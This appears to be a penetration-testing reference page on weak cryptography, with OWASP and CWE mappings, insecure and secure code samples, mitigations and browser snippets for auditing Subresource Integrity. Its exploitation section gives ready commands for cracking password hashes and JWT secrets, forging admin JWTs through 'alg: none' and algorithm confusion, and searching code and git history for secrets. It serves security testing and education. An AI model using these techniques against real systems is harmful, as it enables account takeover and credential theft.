Weak Cryptography Implementation#
Cryptographic failures occur when sensitive data is inadequately protected, either through broken algorithms, misconfigured implementations, poor key management, or no encryption at all. The attacker doesn’t need to break the math; they exploit the gaps around it.
Notable CWEs: CWE-327 (Broken/Risky Algorithm), CWE-326 (Inadequate Encryption Strength), CWE-331 (Insufficient Entropy), CWE-259 (Hardcoded Password), CWE-347 (Improper Signature Verification).
OWASP Top 10 Mapping#
| OWASP Top 10 Category | Mapping to Weak Cryptography | Example Findings |
|---|---|---|
| A02:2021 - Cryptographic Failures | Primary category for weak cryptographic design and implementation issues | Weak password hashing, weak TLS, AES-ECB, hardcoded keys, missing HSTS, data sent over HTTP |
| A07:2021 - Identification and Authentication Failures | Applies when weak cryptography affects authentication/session mechanisms | Predictable reset tokens, weak JWT secret, JWT alg: none, weak session IDs, brute-forceable OTPs |
| A05:2021 - Security Misconfiguration | Applies when platform or server crypto configuration is insecure | TLS 1.0/1.1 enabled, weak ciphers, invalid certificate validation, missing secure transport headers |
| A08:2021 - Software and Data Integrity Failures | Applies when integrity validation, signatures, or trust verification are missing or broken | Improper signature verification, unsigned tokens accepted, unverified signed payloads, weak update/package integrity checks |
CWE Mapping Addition#
| CWE | Description | Where It Appears |
|---|---|---|
| CWE-330 | Use of Insufficiently Random Values | Predictable reset tokens, weak OTPs, weak session IDs |
| CWE-338 | Use of Cryptographically Weak Pseudo-Random Number Generator | Use of Math.random(), rand(), timestamp-based token generation |
| CWE-335 | Incorrect Usage of Seeds in Pseudo-Random Number Generator | Predictable seed values based on time, user ID, username, or email |
Understanding the Basics#
Weak vs. Strong - Quick Reference#
| Category | Broken / Avoid | Use Instead |
|---|---|---|
| Hashing (passwords) | MD5, SHA-1, unsalted SHA-256 | bcrypt, Argon2, scrypt, PBKDF2 |
| Hashing (integrity) | MD5, SHA-1 | SHA-256, SHA-3 |
| Symmetric encryption | DES, 3DES, RC4, AES-ECB | AES-256-GCM, ChaCha20-Poly1305 |
| Asymmetric encryption | RSA < 2048-bit, PKCS#1 v1.5 | RSA-OAEP 2048+, ECC Curve25519 |
| TLS protocols | SSLv2, SSLv3, TLS 1.0, TLS 1.1 | TLS 1.2 (limited), TLS 1.3 |
| JWT algorithm | none, HS256 with weak secret |
RS256, ES256 with strong keys |
| Key storage | Hardcoded in source / config files | Secrets manager, HSM, env vars |
Why It Matters#
Most crypto bugs aren’t in the algorithm, they’re in how it’s used. The same AES can be secure or completely broken depending on mode, IV, key management, and whether integrity checking is applied. Your job is finding those misconfigurations.
Attack Surface#
- Login / password storage: hashed with MD5 or SHA-1, unsalted, or stored in plaintext
- Session tokens / JWTs: weak secrets, no signature verification,
alg: none - Data in transit: HTTP instead of HTTPS, TLS downgrade, weak cipher suites
- Data at rest: AES-ECB mode, reused IVs, no authenticated encryption
- API keys / secrets: hardcoded in source code, JavaScript files, or git history
- Password reset / verification tokens: low entropy, MD5-hashed, predictable
- Encrypted cookies: CBC without MAC, reused key/IV pairs
- Certificate validation: missing hostname check, self-signed accepted silently
Weak Randomness / Insufficient Entropy#
Weak randomness occurs when security-sensitive values are generated using predictable, low-entropy, or non-cryptographic random sources. This issue commonly affects password reset tokens, OTPs, session IDs, CSRF tokens, API keys, encryption keys, IVs, and nonces.
The application may use strong cryptographic algorithms, but if the random values used with them are predictable or reused, the overall security of the implementation can still be broken.
OWASP Mapping#
- A02:2021 - Cryptographic Failures
- A07:2021 - Identification and Authentication Failures
- A05:2021 - Security Misconfiguration
Related CWEs#
- CWE-331: Insufficient Entropy
- CWE-330: Use of Insufficiently Random Values
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator
- CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator
Common Weak Randomness Issues#
- Tokens generated using
Math.random() - OTPs generated using
rand()or other weak random functions - Password reset tokens generated using timestamps
- Tokens generated using user ID, email, username, or phone number
- Sequential or incremental reset tokens
- Short OTPs without rate limiting
- Reused IVs or nonces in encryption
- API keys with insufficient length or entropy
- Session IDs with visible patterns
- CSRF tokens that remain static across sessions
- Tokens that do not expire
- Tokens that remain valid after use
Vulnerable Examples#
JavaScript - Weak Token Generation#
// Weak: Math.random() is not cryptographically secure
const token = Math.random().toString(36).substring(2);
console.log(token);PHP - Weak OTP Generation#
// Weak: rand() is not suitable for security-sensitive OTP generation
$otp = rand(100000, 999999);
echo $otp;Python - Time-Based Token#
# Weak: token is generated using current time and can be predictable
import time
import hashlib
token = hashlib.md5(str(time.time()).encode()).hexdigest()
print(token)Secure Examples#
JavaScript / Node.js#
// Secure: uses cryptographically secure random bytes
const crypto = require("crypto");
const token = crypto.randomBytes(32).toString("hex");
console.log(token);PHP#
// Secure: random_bytes() is cryptographically secure
$token = bin2hex(random_bytes(32));
echo $token;Python#
# Secure: secrets module is designed for security-sensitive randomness
import secrets
token = secrets.token_urlsafe(32)
print(token)Java#
import java.security.SecureRandom;
import java.util.Base64;
public class SecureToken {
public static void main(String[] args) {
SecureRandom secureRandom = new SecureRandom();
byte[] tokenBytes = new byte[32];
secureRandom.nextBytes(tokenBytes);
String token = Base64.getUrlEncoder().withoutPadding().encodeToString(tokenBytes);
System.out.println(token);
}
}Testing for Weak Randomness#
Collect multiple tokens and check whether they follow any predictable pattern.
for i in {1..20}; do
curl -s -X POST <https://target.com/reset-password> \
-d "[email protected]" | grep -oE '[A-Za-z0-9_-]{10,}'
doneCheck for:
- Repeated tokens
- Incremental values
- Same prefix or suffix
- Timestamp-like patterns
- Short token length
- Base64 values that decode to predictable data
- Tokens linked to user ID, email, or username
- OTPs that can be brute-forced due to missing rate limiting
- Tokens that remain valid after use
- Tokens that do not expire
Example Token Pattern Issues#
| Token Behavior | Possible Issue |
|---|---|
100001, 100002, 100003 |
Sequential token generation |
| Same token generated multiple times | Token reuse or insufficient entropy |
| Token contains user ID | Predictable token structure |
| Token changes based on current time | Timestamp-based generation |
| 4-digit OTP with no rate limit | Brute-forceable OTP |
| Static CSRF token | Weak CSRF protection |
Impact#
Weak randomness can lead to:
- Account takeover through predictable password reset tokens
- OTP brute force
- Session hijacking
- CSRF bypass
- API key guessing
- Token forgery
- Authentication bypass
- Encryption compromise due to reused IVs or nonces
Mitigation#
- Use cryptographically secure random number generators.
- Generate at least 128 bits of entropy for security-sensitive tokens.
- Use 256 bits of entropy for high-value tokens such as API keys.
- Expire password reset and verification tokens quickly.
- Invalidate tokens after first use.
- Apply rate limiting on OTP and token validation endpoints.
- Do not generate tokens using timestamps, user IDs, emails, usernames, or phone numbers.
- Do not use
Math.random(),rand(), or similar weak functions for security-sensitive values. - Use secure libraries:
- Python:
secrets - Node.js:
crypto.randomBytes - PHP:
random_bytes - Java:
SecureRandom - Go:
crypto/rand
- Python:
Exploiting Weak Cryptography#
1. Cracking Weak Password Hashes#
When a database is breached or hashes leak, fast algorithms like MD5 and SHA-1 fall in seconds to minutes. No salt = rainbow table attack.
# MD5 / SHA-1 cracking with hashcat
hashcat -m 0 hashes.txt rockyou.txt # MD5
hashcat -m 100 hashes.txt rockyou.txt # SHA-1
hashcat -m 1400 hashes.txt rockyou.txt # SHA-256 (unsalted)
# With rules for better coverage
hashcat -m 0 hashes.txt rockyou.txt -r best64.rule
# john the ripper
john --format=raw-md5 hashes.txt --wordlist=rockyou.txtIdentify hash type before cracking:
$1$... → MD5crypt
$2y$... → bcrypt (expensive — don't bother without GPU farm)
$5$... → SHA-256crypt
5f4dcc3b... → raw MD5 (32 hex chars, no prefix — very fast to crack)
da39a3ee... → raw SHA-1 (40 hex chars)2. JWT — alg: none Bypass#
Some JWT libraries accept unsigned tokens if "alg": "none" is set in the header. Signature verification is skipped entirely — payload can be freely modified.
# Step 1 — Decode the existing JWT
# Header: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
# Payload: eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJ1c2VyIn0
# Step 2 — Craft malicious header + payload
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '='
echo -n '{"sub":"user1","role":"admin"}' | base64 | tr -d '='
# Step 3 — Assemble with empty signature (trailing dot is required)
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJhZG1pbiJ9.
# Also try case variations the library might accept:
# "alg": "None" / "NONE" / "nOnE"Use jwt_tool or Burp JWT Editor extension to automate this cleanly.
3. JWT — Weak Secret Brute Force#
HS256 tokens are signed with a shared secret. If the secret is weak or default, crack it offline — no noise, no requests to the server.
# hashcat — GPU-accelerated, fastest option
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# jwt_tool — built-in crack mode
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
# john
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txtCommon weak JWT secrets to try first: secret, password, 123456, jwt, key, test, app name, domain name.
Once cracked — forge any payload:
import jwt
forged = jwt.encode({"sub": "admin", "role": "admin"}, "secret", algorithm="HS256")4. JWT — Algorithm Confusion (RS256 → HS256)#
If the server uses RS256 (asymmetric), an attacker can switch to HS256 and sign the token with the public key as the HMAC secret — exploiting libraries that trust the alg field from =the token header.
# Step 1 — Get the server's public key
openssl s_client -connect target.com:443 2>/dev/null | \
sed -n '/-----BEGIN/,/-----END/p' > cert.pem
openssl x509 -pubkey -noout -in cert.pem > pubkey.pem
# Step 2 — Sign forged HS256 token with the public key as secret
# Use jwt_tool or Burp JWT Editor (Algorithm Confusion attack option)
python3 jwt_tool.py <JWT> -X k -pk pubkey.pem5. TLS — Weak Protocol / Cipher Detection#
Test what TLS versions and ciphers a server actually accepts. Old cipher suites and protocols still show up in legacy and misconfigured systems.
# testssl.sh — most comprehensive, covers protocols, ciphers, known vulns
./testssl.sh --full target.com:443
# Quick checks
./testssl.sh --protocols target.com:443 # SSLv3, TLS 1.0, 1.1 support
./testssl.sh --ciphers target.com:443 # RC4, 3DES, EXPORT ciphers
./testssl.sh --vulnerable target.com:443 # POODLE, BEAST, CRIME, Heartbleed
# sslscan
sslscan target.com:443
# nmap
nmap --script ssl-enum-ciphers -p 443 target.comFindings that are immediately reportable: SSLv3 / TLS 1.0 enabled, RC4 or 3DES ciphers, EXPORT ciphers, no HSTS header, certificate using SHA-1 or MD5 signature.
6. AES-ECB Mode — Pattern Detection#
ECB encrypts identical plaintext blocks to identical ciphertext blocks. This leaks structure — attackers can detect repeated blocks, infer plaintext, and sometimes manipulate ciphertext without decrypting.
# Detect ECB mode — submit repeated input and look for repeated output blocks
import requests, base64
# Send 48 identical bytes (3 x 16-byte blocks)
payload = "A" * 48
r = requests.post("<https://target.com/encrypt>", data={"input": payload})
ct = base64.b64decode(r.json()["ciphertext"])
# Split into 16-byte blocks and check for repeats
blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
if len(blocks) != len(set(blocks)):
print("[ECB DETECTED] Repeated blocks found — ECB mode confirmed")What ECB detection enables: block manipulation attacks, byte-at-a-time plaintext recovery, CBC bit-flip if misidentified as CBC.
7. Hardcoded Keys / Secrets in Source#
Secrets embedded in code, JS files, or git history are directly exploitable — no cracking required.
# Grep source code
grep -rE "(api_key|secret|password|token|key)\s*=\s*[\"'][^\"']{8,}" . \
--include="*.js" --include="*.py" --include="*.php" --include="*.env"
# Search git history
git log --all --full-history
git diff <commit>^ <commit>
git grep "secret" $(git rev-list --all)
# truffleHog — entropy-based secret scanning
trufflehog git file://. --json
# gitleaks
gitleaks detect --source . --report-format json
# In JavaScript bundles served by the app
curl -s <https://target.com/static/app.js> | grep -E "(apiKey|secret|token)\s*[:=]\s*[\"'][^\"']{10,}"8. HTTP Instead of HTTPS / Missing HSTS#
Sensitive data transmitted over plain HTTP is trivially intercepted. Missing HSTS allows protocol downgrade even when HTTPS exists.
# Check for HTTP endpoints returning sensitive data
curl -I <http://target.com/api/login> # Should redirect to HTTPS, not serve content
curl -I <https://target.com> | grep -i "strict-transport" # Should contain HSTS header
# Confirm HSTS is present and well-configured
# Good: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Missing: No header = HTTP downgrade possibleTest Cases#
| Scenario | Action | Expected Outcome |
|---|---|---|
| Weak password hash | Extract hash; run hashcat with rockyou | MD5/SHA-1 hash cracks in seconds |
JWT alg: none |
Set header alg to none, empty signature | Server accepts unsigned token |
| JWT weak secret | Run hashcat -m 16500 against token |
Secret recovered; arbitrary tokens forgeable |
| TLS weak protocol | Run testssl.sh--protocols |
SSLv3 / TLS 1.0 enabled = reportable |
| AES-ECB | Submit 48 identical bytes to encrypt endpoint | Repeated ciphertext blocks in response |
| Hardcoded key | Grep JS/source files for key/secret patterns | Credentials found in plaintext |
| Missing HSTS | curl -I <https://target.com> |
No Strict-Transport-Security header |
| HTTP login | Submit credentials over HTTP | Credentials visible in plaintext in traffic |
| Weak randomness / entropy | Generate multiple reset tokens, OTPs, session IDs, or API keys and compare them | Tokens should be unique, unpredictable, sufficiently long, and should not follow any visible pattern |
Detection Techniques (Offensive Perspective)#
Manual Detection#
Identify hash algorithm from leaked data
Length 32 hex → MD5 (fast to crack, look for rainbow tables)
Length 40 hex → SHA-1 (fast to crack)
Length 64 hex → SHA-256 (check if salted — if not, still fast)
$2y$10$... → bcrypt (slow — deprioritise)
$argon2... → Argon2 (secure — skip)Inspect JWT without a tool
# Decode header and payload manually (no verification)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# {"alg":"HS256","typ":"JWT"}
# HS256 = shared secret = brute-forceable
# RS256 = asymmetric = try algorithm confusion insteadCheck TLS certificate strength
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -text \
| grep -E "(Signature Algorithm|Public-Key|Not After)"
# SHA1withRSA or key < 2048 = reportableAutomated Detection#
# Full TLS audit in one command
testssl.sh --full --jsonfile results.json target.com:443
# Scan for exposed secrets across a JS-heavy app
gospider -s <https://target.com> -d 2 -q | grep -oP 'https?://[^ ]+\.js' \
| xargs -I{} curl -s {} | grep -E "(apiKey|secret|password|token)\s*[:=]\s*[\"'][^\"']{8,}"
# nuclei — crypto-related templates
nuclei -u <https://target.com> -t ssl/ -t exposures/tokens/Impact#
- Credential Theft: Weak hashes cracked offline expose plaintext passwords usable for credential stuffing or account takeover
- Authentication Bypass: JWT
alg: noneor unverified signatures allow privilege escalation without valid credentials - Data Decryption: Intercepted traffic or stolen ciphertext decrypted due to weak algorithms or ECB mode
- Key Compromise: Hardcoded or weak keys give permanent access until explicitly rotated
- Traffic Interception: HTTP or TLS downgrade allows passive or active MITM against sensitive sessions
- Compliance Breach: PCI-DSS, HIPAA, GDPR all mandate strong encryption; failures directly trigger audit findings
Tools#
| Tool | Purpose |
|---|---|
| hashcat | GPU-accelerated hash and JWT secret cracking |
| john the ripper | CPU-based hash cracking |
| testssl.sh |
Comprehensive TLS protocol, cipher, and vulnerability audit |
| sslscan | Quick TLS cipher enumeration |
| jwt_tool | JWT decode, tamper, crack, and attack automation |
| Burp JWT Editor | In-Repeater JWT modification and attack payloads |
| truffleHog / gitleaks | Entropy-based secret scanning in source and git history |
| nuclei | Template-based crypto misconfiguration detection |
Mitigation & Prevention#
- Password Hashing: Use bcrypt, Argon2, or scrypt with a per-user salt; never MD5, SHA-1, or unsalted SHA-256 for passwords
- Authenticated Encryption: Use AES-GCM or ChaCha20-Poly1305; never AES-ECB; always use a random IV per operation
- TLS Configuration: Enforce TLS 1.2+ (TLS 1.3 preferred); disable SSLv3, TLS 1.0/1.1; remove RC4, 3DES, EXPORT cipher suites; enable HSTS
- JWT Security: Explicitly allowlist the algorithm server-side; never trust
algfrom the token; rejectnone; use RS256/ES256 over HS256 for multi-service environments; enforce strong secrets (32+ random bytes) - Key Management: Never hardcode secrets; use a secrets manager (AWS Secrets Manager, HashiCorp Vault, Azure Key Vault); rotate keys regularly
- No Custom Cryptography: Use well-audited libraries (
libsodium,cryptographyPython package, Javajavax.cryptowith current providers); never implement algorithms from scratch - Enforce HTTPS Everywhere: Redirect all HTTP to HTTPS; set
Strict-Transport-Securitywithmax-age≥ 1 year andincludeSubDomains - Secure Randomness: Use cryptographically secure random number generators for tokens, OTPs, session IDs, CSRF tokens, IVs, nonces, and API keys. Avoid
Math.random(),rand(), timestamp-based values, sequential IDs, or user-derived values for security-sensitive token generation.
Software Integrity - SRI Presence Validation#
Subresource Integrity, also known as SRI, helps the browser verify that third-party scripts and stylesheets have not been tampered with. If an application loads JavaScript or CSS from a CDN or third-party domain without SRI, an attacker who compromises the CDN, third-party provider, or network path may inject malicious code into the application.
The following browser console snippets can be used to check whether SRI is present and whether the SRI-related attributes are configured correctly.
Check All Scripts and Their SRI Status#
[...document.querySelectorAll("script[src]")].map(script => ({
src: script.src,
hasIntegrity: script.hasAttribute("integrity"),
integrity: script.getAttribute("integrity"),
hasCrossorigin: script.hasAttribute("crossorigin"),
crossorigin: script.getAttribute("crossorigin")
}));List Only Scripts Missing SRI#
[...document.querySelectorAll("script[src]")]
.filter(script => !script.hasAttribute("integrity"))
.map(script => script.src);List Only External Scripts Missing SRI#
[...document.querySelectorAll("script[src]")]
.filter(script => {
const url = new URL(script.src);
return url.origin !== location.origin && !script.hasAttribute("integrity");
})
.map(script => script.src);Check Stylesheets Missing SRI#
[...document.querySelectorAll('link[rel="stylesheet"][href]')]
.filter(link => !link.hasAttribute("integrity"))
.map(link => link.href);Check External Stylesheets Missing SRI#
[...document.querySelectorAll('link[rel="stylesheet"][href]')]
.filter(link => {
const url = new URL(link.href);
return url.origin !== location.origin && !link.hasAttribute("integrity");
})
.map(link => link.href);Full SRI Audit for Scripts and Stylesheets#
(() => {
const scripts = [...document.querySelectorAll("script[src]")].map(script => ({
type: "script",
url: script.src,
external: new URL(script.src).origin !== location.origin,
hasIntegrity: script.hasAttribute("integrity"),
integrity: script.getAttribute("integrity"),
hasCrossorigin: script.hasAttribute("crossorigin"),
crossorigin: script.getAttribute("crossorigin")
}));
const stylesheets = [...document.querySelectorAll('link[rel="stylesheet"][href]')].map(link => ({
type: "stylesheet",
url: link.href,
external: new URL(link.href).origin !== location.origin,
hasIntegrity: link.hasAttribute("integrity"),
integrity: link.getAttribute("integrity"),
hasCrossorigin: link.hasAttribute("crossorigin"),
crossorigin: link.getAttribute("crossorigin")
}));
return [...scripts, ...stylesheets];
})();Show Only External Resources Missing SRI#
(() => {
const scripts = [...document.querySelectorAll("script[src]")]
.filter(script => {
const url = new URL(script.src);
return url.origin !== location.origin && !script.hasAttribute("integrity");
})
.map(script => ({
type: "script",
url: script.src
}));
const stylesheets = [...document.querySelectorAll('link[rel="stylesheet"][href]')]
.filter(link => {
const url = new URL(link.href);
return url.origin !== location.origin && !link.hasAttribute("integrity");
})
.map(link => ({
type: "stylesheet",
url: link.href
}));
return [...scripts, ...stylesheets];
})();SRI Script Validation Status#
The SRI snippets have been reviewed for browser console execution and are syntactically valid.
| Check | Status |
|---|---|
Querying scripts using document.querySelectorAll("script[src]") |
Working |
Checking presence of integrity attribute |
Working |
Checking presence of crossorigin attribute |
Working |
Filtering external scripts using new URL(script.src).origin !== location.origin |
Working |
| Listing scripts missing SRI | Working |
| Checking stylesheets for SRI | Working |
| Full script and stylesheet SRI audit snippet | Working |
Important Notes#
- SRI is mainly required for external scripts and stylesheets loaded from CDN or third-party domains.
- Same-origin scripts may not always require SRI, but adding SRI can still improve integrity assurance.
- For cross-origin resources, the
crossoriginattribute is usually required with SRI. - If the external script or stylesheet changes, the SRI hash must also be updated.
- If the SRI hash is incorrect, the browser will block the script or stylesheet from loading.
Example Secure Script Tag#
<script
src="<https://cdn.example.com/library.min.js>"
integrity="sha384-BASE64_HASH_VALUE"
crossorigin="anonymous">
</script>Example Secure Stylesheet Tag#
<link
rel="stylesheet"
href="<https://cdn.example.com/library.min.css>"
integrity="sha384-BASE64_HASH_VALUE"
crossorigin="anonymous">SRI Test Cases#
| Scenario | Action | Expected Result |
|---|---|---|
| External script without SRI | Run the external script missing SRI snippet | Script URL should be listed |
| External script with SRI | Inspect the script tag | integrity attribute should be present |
| External script with SRI but no crossorigin | Inspect the script tag | crossorigin should be present where required |
| Incorrect SRI hash | Modify the SRI hash and reload the page | Browser should block the resource |
| External stylesheet without SRI | Run the stylesheet missing SRI snippet | Stylesheet URL should be listed |
| Full SRI audit | Run the full SRI audit snippet | All external resources should show integrity and crossorigin status |
Good To Read#
Notable Incidents#
- RockYou (2009): 32 million passwords stored in plaintext — the breach that created the most-used password cracking wordlist in existence
- LinkedIn (2012): 6.5 million SHA-1 unsalted password hashes leaked; subsequently cracked; full 117M hash dump surfaced in 2016
- Adobe (2013): 153 million records with passwords encrypted using 3DES in ECB mode with the same key — identical passwords produced identical ciphertext, leaking patterns
- Heartbleed / OpenSSL (2014): TLS implementation bug leaked private keys and session data from memory — a reminder that correct algorithms fail when implementations are buggy
- JWT
alg: none(2015): Multiple JWT libraries accepted unsigned tokens — affected Auth0, others; patched after public disclosure
HackerOne Reports#
- Authentication Bypass via JWT None Algorithm (#1647642)
- Hardcoded JWT Secret Key leading to Account Takeover (#748214)
- JWT Audience Claim Not Verified — Argo CD (#1889161)
- Weak MD5 Password Hashing (#272
References#
- OWASP A02:2021 — Cryptographic Failures
- OWASP Testing: Weak Encryption (WSTG-CRYP-04)
- OWASP Testing: Weak TLS (WSTG-CRYP-01)
- OWASP Cryptographic Storage Cheat Sheet
- PortSwigger: JWT Attacks
- HackTricks: JWT Vulnerabilities
- NIST SP 800-131A: Transitioning Cryptographic Algorithms
- PayloadsAllTheThings: JSON Web Token